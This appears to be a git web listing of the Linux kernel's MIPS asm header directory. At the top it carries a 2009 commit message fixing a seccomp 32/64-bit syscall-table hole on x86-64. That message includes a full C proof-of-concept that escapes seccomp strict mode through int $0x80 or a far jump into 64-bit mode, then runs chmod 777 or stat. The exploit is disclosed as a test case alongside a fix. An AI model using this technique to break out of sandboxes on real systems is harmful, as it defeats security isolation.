linux/arch/mips/include/asm
Roland McGrath 5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
..
dec
emma MIPS: EMMA2RH: Remove emma2rh_sync on read operation 2008-10-27 16:18:30 +00:00
fw
ip32
lasat
mach-au1x00 MIPS: Alchemy: new userspace suspend interface for development boards. 2009-01-11 09:57:27 +00:00
mach-bcm47xx
mach-cavium-octeon MIPS: Add Cavium OCTEON processor support files to arch/mips/cavium-octeon. 2009-01-11 09:57:21 +00:00
mach-cobalt
mach-db1x00
mach-dec
mach-emma2rh
mach-excite
mach-generic MIPS: Adjust the dma-common.c platform hooks. 2009-01-11 09:57:24 +00:00
mach-ip22
mach-ip27 MIPS: Adjust the dma-common.c platform hooks. 2009-01-11 09:57:24 +00:00
mach-ip28
mach-ip32 MIPS: Adjust the dma-common.c platform hooks. 2009-01-11 09:57:24 +00:00
mach-jazz MIPS: Adjust the dma-common.c platform hooks. 2009-01-11 09:57:24 +00:00
mach-lasat
mach-lemote MIPS: Adjust the dma-common.c platform hooks. 2009-01-11 09:57:24 +00:00
mach-malta
mach-mipssim
mach-pb1x00
mach-pnx833x MIPS: Add support for NXP PNX833x (STB222/5) into linux kernel 2008-10-27 16:18:29 +00:00
mach-pnx8550
mach-rc32434 MIPS: RB532: Export rb532_gpio_set_func() 2009-01-30 21:33:01 +00:00
mach-rm
mach-sibyte
mach-tx39xx
mach-tx49xx MIPS: RBTX4939: Add smc91x support 2008-10-27 16:18:27 +00:00
mach-vr41xx
mach-wrppmc
mach-yosemite
mips-boards
octeon MIPS: Add Cavium OCTEON processor support files to arch/mips/cavium-octeon. 2009-01-11 09:57:21 +00:00
pci
pmc-sierra/msp71xx
sgi
sibyte
sn
txx9 MIPS: TXx9: Add support for TX4939 internal RTC 2009-01-30 21:32:58 +00:00
vr41xx
xtalk
Kbuild byteorder: make swab.h include asm/swab.h like a regular header 2009-01-14 19:56:50 -08:00
abi.h
addrspace.h
asm.h
asmmacro-32.h
asmmacro-64.h
asmmacro.h MIPS: Use EI/DI for MIPS R2. 2008-12-12 18:12:23 +00:00
atomic.h MIPS: atomic_*(): Change type of intermediate variables. 2009-01-30 21:32:57 +00:00
auxvec.h
barrier.h
bcache.h
bitops.h MIPS: Clean up MIPSxx-optimized bitop functions 2008-10-30 14:44:33 +00:00
bootinfo.h
branch.h
break.h MIPS: Switch FPU emulator trap to BREAK instruction. 2008-10-30 14:44:34 +00:00
bug.h MIPS: Make BUG() __noreturn. 2008-11-24 16:35:07 +00:00
bugs.h
byteorder.h byteorder: make swab.h include asm/swab.h like a regular header 2009-01-14 19:56:50 -08:00
cache.h
cachectl.h
cacheflush.h
cacheops.h
cevt-r4k.h
checksum.h
cmp.h
cmpxchg.h
compat-signal.h
compat.h
compiler.h
cpu-features.h MIPS: Hook Cavium OCTEON cache init into cache.c 2009-01-11 09:57:22 +00:00
cpu-info.h
cpu.h MIPS: Add Cavium OCTEON processor constants and CPU probe. 2009-01-11 09:57:22 +00:00
cputime.h
current.h
debug.h
delay.h
device.h
div64.h
dma-mapping.h
dma.h
ds1287.h
dsp.h
edac.h
elf.h MIPS: Fix preprocessor warnings flaged by GCC 4.4 2008-12-22 08:54:47 +00:00
emergency-restart.h
errno.h
fb.h
fcntl.h
fixmap.h
floppy.h
fpregdef.h
fpu.h
fpu_emulator.h MIPS: Switch FPU emulator trap to BREAK instruction. 2008-10-30 14:44:34 +00:00
futex.h
gcmpregs.h
gic.h
gpio.h
gt64120.h
hardirq.h
hazards.h MIPS: For Cavium OCTEON handle hazards as per the R10000 handling. 2009-01-11 09:57:21 +00:00
highmem.h
hw_irq.h
i8253.h
i8259.h
ide.h
inst.h
io.h MIPS: Modify core io.h macros to account for the Octeon Errata Core-301. 2009-01-11 09:57:22 +00:00
ioctl.h
ioctls.h
ipcbuf.h
irq.h cpumask: make irq_set_affinity() take a const struct cpumask 2008-12-13 21:20:26 +10:30
irq_cpu.h
irq_gt641xx.h
irq_regs.h
irqflags.h
isadep.h
jazz.h
jazzdma.h
kdebug.h
kexec.h
kgdb.h
kmap_types.h
kspd.h
linkage.h
local.h
m48t37.h
mc146818-time.h
mc146818rtc.h
mips_mt.h
mipsmtregs.h
mipsprom.h
mipsregs.h MIPS: Override assembler target architecture for octeon. 2009-01-11 09:57:21 +00:00
mman.h
mmu.h
mmu_context.h
mmzone.h
module.h MIPS: Add Cavium OCTEON processor constants and CPU probe. 2009-01-11 09:57:22 +00:00
msc01_ic.h
msgbuf.h
mutex.h
nile4.h
paccess.h
page.h
param.h
parport.h
pci.h MIPS: Better than nothing implementation of PCI mmap to fix X. 2008-12-09 21:55:43 +00:00
percpu.h
pgalloc.h
pgtable-32.h
pgtable-64.h
pgtable-bits.h
pgtable.h
pmon.h
poll.h
posix_types.h
prefetch.h
processor.h MIPS: Add Cavium OCTEON cop2/cvmseg state entries to processor.h. 2009-01-11 09:57:22 +00:00
ptrace.h MIPS: Fix a typo in watchpoint register structure. 2009-01-30 21:32:58 +00:00
r4k-timer.h
r4kcache.h
reboot.h
reg.h
regdef.h
resource.h
rm9k-ocd.h
rtlx.h
scatterlist.h
seccomp.h x86-64: seccomp: fix 32/64 syscall hole 2009-03-02 15:41:30 -08:00
sections.h
segment.h
sembuf.h
serial.h
setup.h
sgialib.h
sgiarcs.h
sgidefs.h
shmbuf.h
shmparam.h
sigcontext.h
siginfo.h
signal.h
sim.h
smp-ops.h
smp.h MIPS: Add SMP_ICACHE_FLUSH for the Cavium CPU family. 2009-01-11 09:57:24 +00:00
smtc.h
smtc_ipi.h
smtc_proc.h
smvp.h
sni.h
socket.h
sockios.h
sparsemem.h
spinlock.h x86: spinlocks: define dummy __raw_spin_is_contended 2009-02-09 08:15:39 -08:00
spinlock_types.h
stackframe.h MIPS: Cavium OCTEON multiplier state preservation. 2009-01-11 09:57:24 +00:00
stacktrace.h
stat.h
statfs.h
string.h
suspend.h
swab.h mips: introduce asm/swab.h 2009-01-06 18:10:27 -08:00
sysmips.h
system.h
termbits.h
termios.h MIPS: Add return value checks to user_termio_to_kernel_termios() 2009-01-30 21:32:57 +00:00
thread_info.h
time.h MIPS: make cp0 counter clocksource/event usable as fallback. 2009-01-11 09:57:26 +00:00
timex.h
titan_dep.h
tlb.h
tlbdebug.h
tlbflush.h
topology.h
traps.h
txx9irq.h
txx9pio.h
txx9tmr.h
types.h
uaccess.h
ucontext.h
unaligned.h
unistd.h
user.h
vga.h
vpe.h
war.h
watch.h
wbflush.h
xor.h